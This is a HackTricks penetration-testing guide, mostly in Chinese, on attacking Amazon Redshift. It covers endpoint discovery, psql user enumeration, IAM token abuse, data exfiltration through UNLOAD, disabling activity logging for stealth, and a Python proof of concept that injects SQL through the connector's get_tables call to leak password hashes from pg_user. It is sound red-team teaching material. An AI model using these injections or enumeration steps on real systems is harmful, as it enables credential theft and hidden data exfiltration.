5439 - Pentesting Redshift

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

This port is used by Amazon Redshift (AWS managed data warehouse). Redshift wire protocol is a slightly modified PostgreSQL protocol, so most Postgres client tooling works (psql, psycopg2, JDBC/ODBC) but auth and TLS requirements differ.

For more information check:

AWS - Redshift Enum - HackTricks Cloud

枚举与连接

  • 默认端口:5439/TCP(可自定义)。Serverless 工作组也默认端口为 5439。
  • 公共端点模式:<clusterid>.<random>.<region>.redshift.amazonaws.com(public)或 .redshift.amazonaws.com.cn(中国)。Serverless:<workgroup>.<random>.<region>.redshift-serverless.amazonaws.com
  • TLS:Redshift 要求 TLS 1.2+ 和 perfect-forward-secrecy 密码套件。旧客户端可能会失败;强制使用现代 TLS:
psql "host=<endpoint> port=5439 user=awsuser dbname=dev sslmode=require"
# or using redshift-psql wrapper
  • Parameter group require_ssl 控制是否允许明文。新集群/工作组使用 default.redshift-2.0 并且 require_ssl=true,因此降级/mitm 更难。

使用 psql 快速枚举

# basic banner/version
psql "host=<endpoint> user=<u> dbname=dev" -c 'select version();'
# list dbs, users, privileges
\l
\du
select * from pg_user;
select * from svv_redshift_sessions;

Errors differentiate bad password vs missing user → potential username enumeration during brute force.

要测试的认证路径

  • 数据库密码:master 用户的数据库密码(通常名为 awsuser)或其他已创建的 DB 用户。
  • IAM auth tokens:生成短期凭证并使用 libpq/JDBC/ODBC 通过 sslmode=requireauthMech=IAMplugin_name=com.amazon.redshift.plugin.OktaCredentialsProvider 连接。滥用被窃的 IAM 凭证/角色,具有类似 rds-db:connect 的 Redshift 权限等效项。
aws redshift get-cluster-credentials --cluster-identifier <id> \
--db-user pentest --db-name dev --duration-seconds 900
psql "host=<endpoint> user=pentest password=<token> dbname=dev sslmode=require"
  • IAM Identity Center / SAML / Azure AD plugins:JDBC 的 plugin_name 可能会启动本地 webserver 用于 SSO;捕获的 loopback callback 可能会 leak SAML assertion 或临时凭证。

常见错误配置(网络)

  • 集群被标记为 PubliclyAccessible=true 且安全组放开(0.0.0.0/0)会暴露类似 Postgres 的面向,便于进行 brute force 或 SQLi 利用。
  • 默认端口 5439 加上默认安全组便于发现(Shodan/Censys)。更改端口只是微小的模糊处理,但在加固检查清单中有时会被忽视。
  • 未启用 enhanced VPC routing → COPY/UNLOAD 会走公共 Internet;当攻击者控制 S3 bucket/endpoint 时,可被滥用用于 exfil。

攻击要点

  • 如果登录成功,Redshift 在 serverless 环境中没有 superuser;在 provisioned clusters 中 master 用户拥有广泛权限,包括创建 UDFs (Python)、external schema 到 Spectrum、从攻击者控制的 S3 执行 COPY,以及使用 UNLOAD 进行数据 exfil。
  • 检查 cluster parameter group 中的 max_concurrency_scaling_clustersrequire_sslenable_user_activity_logging —— 关闭日志有利于隐匿活动。
  • Serverless workgroups 仍可通过 TCP 访问;与 provisioned clusters 相同的 SQL 攻击面。
  • Client-side metadata SQLi (Dec 2024):JDBC 2.1.0.31、Python connector 2.1.4 和 ODBC 2.1.5.0 在 getSchemas/getTables/getColumns 中使用未加引号的用户输入构建元数据查询(CVE-2024-12744/5/6)。如果应用允许攻击者控制 catalog 或 pattern 参数,便可注入任意 SQL,在连接器使用的 DB user 上运行。
# exploit vulnerable python connector 2.1.4 via metadata API
import redshift_connector
conn = redshift_connector.connect(host='<endpoint>', database='dev', user='lowpriv', password='pw')
cur = conn.cursor()
# injection in table_pattern leaks data from pg_tables
cur.get_tables(table_schema='public', table_name_pattern="%' UNION SELECT usename,passwd FROM pg_user--")
  • UDF execution model change:Python UDFs 将于 2026-06-30 停止工作;之后只允许 Lambda UDFs。进攻影响:遗留的 provisioned clusters 仍可运行 Python UDFs 在集群内执行代码(无 FS/network 访问)。Lambda UDFs 将代码移至 Lambda,IAM role 可能访问 Internet/VPC endpoints 以进行 SSRF/pivot,但无法直接访问集群文件系统。针对仍启用 Python UDFs 的旧集群进行搜寻,仍可能获得 RCE 原语。

最近的安全变更(对攻防的影响)

  • 新建集群/快照默认禁用公共访问(变更自 2025-01-10)。遗留集群可能仍为 public。
  • 默认启用静态加密 + 强制 TLS,意味着 sniffing/mitm 更难;需要有效凭证或通过 SSRF 进入 VPC 路径。
  • Serverless VPCE 部署变更 (2025-06-27):workgroup endpoints 在创建时可能在最多 3 个 AZ 中创建。发现工具应为每个 AZ 枚举所有 workgroup VPCE DNS 名称以查找可达的 IP。

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks